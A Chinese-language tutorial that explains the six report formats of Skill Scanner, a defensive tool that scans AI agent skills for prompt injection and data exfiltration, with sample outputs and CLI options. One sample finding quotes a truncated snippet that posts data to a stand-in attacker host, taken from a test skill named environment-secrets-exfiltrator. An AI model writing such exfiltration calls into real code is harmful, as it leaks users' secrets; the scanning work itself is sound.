如何读懂Skill Scanner的6种输出格式?JSON、SARIF、HTML报告完整解析指南
【免费下载链接】skill-scannerSecurity Scanner for Agent Skills项目地址: https://gitcode.com/gh_mirrors/sk/skill-scanner
Skill Scanner 是一款面向 AI Agent Skills 的开源安全扫描工具,能检测提示词注入、数据外泄和恶意代码模式。它内置 6 种输出格式,通过--format参数即可一键切换,覆盖从本地终端排查到 CI/CD 流水线门禁的完整场景。本文将带你快速看懂每种报告的用途、关键字段和最佳实践。
🗺️ 6种输出格式一览
| 格式 | 命令参数 | 典型用途 |
|---|---|---|
| Summary | --format summary | 默认格式,本地终端可读摘要 |
| JSON | --format json | 自动化脚本与集成对接 |
| Markdown | --format markdown | PR / Issue 中的报告附件 |
| Table | --format table | 终端紧凑表格 |
| SARIF | --format sarif | GitHub Code Scanning 原生上传 |
| HTML | --format html | 自包含交互式分享报告 |
除了summary直接实现在 CLI 中(skill_scanner/cli/cli.py),其余五种格式各有专属报告器模块,源码位于 skill_scanner/core/reporters/ 目录下,完整说明见 docs/reference/output-formats.md。
📋 Summary:默认终端摘要
不指定--format时,Skill Scanner 默认输出 Summary 格式。它是排查 Skill 时最直观的选择:
$ skill-scanner scan evals/skills/data-exfiltration/environment-secrets ============================================================ Skill: environment-secrets-exfiltrator ============================================================ Status: [FAIL] ISSUES FOUND Max Severity: CRITICAL Total Findings: 5 Scan Duration: 0.13s Findings Summary: CRITICAL: 1 HIGH: 0 MEDIUM: 4 LOW: 0 INFO: 0读懂要点:重点关注三行信息——Status(是否通过)、Max Severity(最高严重级别)和Total Findings(问题总数)。若一个 Skill 是干净的,会显示Status: [OK] SAFE。
📦 JSON:自动化与集成的首选
JSON 是机器可解析的标准格式,适合流水线消费。核心字段解读如下:
{ "skill_name": "environment-secrets-exfiltrator", "is_safe": false, "max_severity": "CRITICAL", "findings_count": 5, "findings": [ { "id": "DATA_EXFIL_HTTP_POST_d854dba1dc", "rule_id": "DATA_EXFIL_HTTP_POST", "category": "data_exfiltration", "severity": "CRITICAL", "file_path": "get_info.py", "line_number": 56, "snippet": "requests.post(\"https://attacker.example.com/...", "remediation": "Review all POST requests. Ensure they don't send sensitive data", "analyzer": "static" } ], "scan_metadata": { "policy_name": "default", "policy_preset_base": "balanced" }, "llm_usage": { "total_tokens": 6154 } }关键字段速读:
is_safe/max_severity:整体结论,脚本里做判断就靠这两个字段findings[].file_path+line_number:精确定位问题代码findings[].analyzer:标出发现来源(静态规则、字节码、行为分析、LLM 等)scan_metadata:记录所用扫描策略,便于审计追溯llm_usage:启用 LLM 分析器时出现,汇总所有模型调用的 token 消耗
💡 小贴士:机器流水线中加--compact可去掉缩进,输出更紧凑。生成逻辑见 skill_scanner/core/reporters/json_reporter.py。
📊 Table:终端里的紧凑表格
Table 格式把结论和问题列表排成对齐的表格,信息密度比 Summary 更高,适合快速纵览:
+----------------+---------------------+ | Skill | safe-calculator | | Status | [FAIL] ISSUES FOUND | | Max Severity | CRITICAL | +----------------+---------------------+后续还会按严重级别统计数量,并列出每条发现的「严重级别 | 类别 | 标题 | 位置」四列表格,实现位于 skill_scanner/core/reporters/table_reporter.py。
📝 Markdown:PR 评论的最佳载体
Markdown 格式可直接粘贴到 PR 或 Issue 中渲染。报告包含摘要、按严重级别分组的发现详情,以及本次使用的分析器清单:
# Agent Skill Security Scan Report **Skill:** jailbreak-override **Status:** [FAIL] ISSUES FOUND **Max Severity:** CRITICAL ### CRITICAL Severity #### [CRITICAL] PROMPT INJECTION detected by YARA **Rule ID:** YARA_prompt_injection_generic **Location:** SKILL.md:9💡 排查需要完整证据链时,加--detailed可在 Markdown 输出中附带完整证据,适合深度 triage。报告器源码:skill_scanner/core/reporters/markdown_reporter.py。
🔍 SARIF:对接 GitHub Code Scanning 的标准
SARIF 2.1.0 是代码扫描领域的事实标准格式。Skill Scanner 生成的 SARIF 报告可直接上传到 GitHub Code Scanning,让告警自动关联到 PR 的具体代码行。
严重级别如何映射到 SARIF level?
| Skill Scanner 级别 | SARIF level | 含义 |
|---|---|---|
| CRITICAL / HIGH | error | 阻断级问题 |
| MEDIUM | warning | 警告 |
| LOW / INFO | note | 提示 |
此外,SARIF 输出还包含两个实用特性:
- 去重指纹:每条结果带
fingerprints字段,避免重复告警刷屏 - 抑制可见性:被扫描策略抑制的发现不会消失,而是以「已驳回 + 理由」的形式保留在报告中,方便审计
生成逻辑(含级别映射和 URI 解析)见 skill_scanner/core/reporters/sarif_reporter.py。典型 CI 用法:
skill-scanner scan-all ./skills \ --recursive \ --format sarif \ --output results.sarif \ --fail-on-findings🌐 HTML:可分享的交互式报告
HTML 是自包含的单文件报告,无需任何外部依赖,浏览器直接打开即可。它的特点是:
- 颜色编码:CRITICAL 到 INFO 五级严重度各有独立配色,一眼锁定高危项
- 内嵌流水线流程图:展示数据在各分析阶段中的流转路径
- 支持多 Skill 汇总:
scan-all批量扫描时会生成跨 Skill 的综合报告 - 结论徽章:对 LLM 语义判定结果(MALICIOUS / SUSPICIOUS / SAFE)用醒目的徽章标注
分享扫描结果给团队或评审人时,--format html是最省沟通成本的选项。实现细节:skill_scanner/core/reporters/html_reporter.py。
⚙️ 进阶技巧:让输出格式为你的工作流服务
一次运行,多格式输出
--format可以重复指定,一条命令同时生成多份报告:
skill-scanner scan ./my-skill --format markdown --format sarif按格式指定输出文件
除了通用的--output/-o,每种格式还有专属落盘参数:--output-json、--output-sarif、--output-markdown、--output-html、--output-table。两者都不指定时,结果打印到 stdout。
CI 门禁:发现高危即失败
配合--fail-on-findings,当存在 CRITICAL 或 HIGH 级别发现时,命令以退出码1结束,直接让 CI 流水线红灯。也可以用--fail-on-severity medium自定义触发级别。
✅ 场景速查:该选哪种格式?
| 你的场景 | 推荐格式 | 理由 |
|---|---|---|
| 本地开发随手扫一眼 | summary | 终端可读,零配置 |
| CI/CD 流水线门禁 | json或sarif | 机器可解析,配合--fail-on-findings |
| 上传 GitHub Code Scanning | sarif | 原生支持,告警定位到代码行 |
| PR 评论 / Issue 附件 | markdown | 直接渲染,阅读体验好 |
| 终端快速总览 | table | 紧凑的列式摘要 |
| 分享给团队评审 | html | 自包含、可视化、可交互 |
总结
Skill Scanner 的 6 种输出格式覆盖了「人看」与「机器看」的全部需求:Summary 和 Table 服务本地排查,Markdown 和 HTML 负责报告分享,JSON 和 SARIF 支撑自动化集成。掌握--format、--output和--fail-on-findings这几个核心参数后,你就能把扫描结果无缝嵌入自己的安全开发流程。更多参数细节可参考 CLI 使用指南 和 CLI 命令参考。
【免费下载链接】skill-scannerSecurity Scanner for Agent Skills项目地址: https://gitcode.com/gh_mirrors/sk/skill-scanner
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考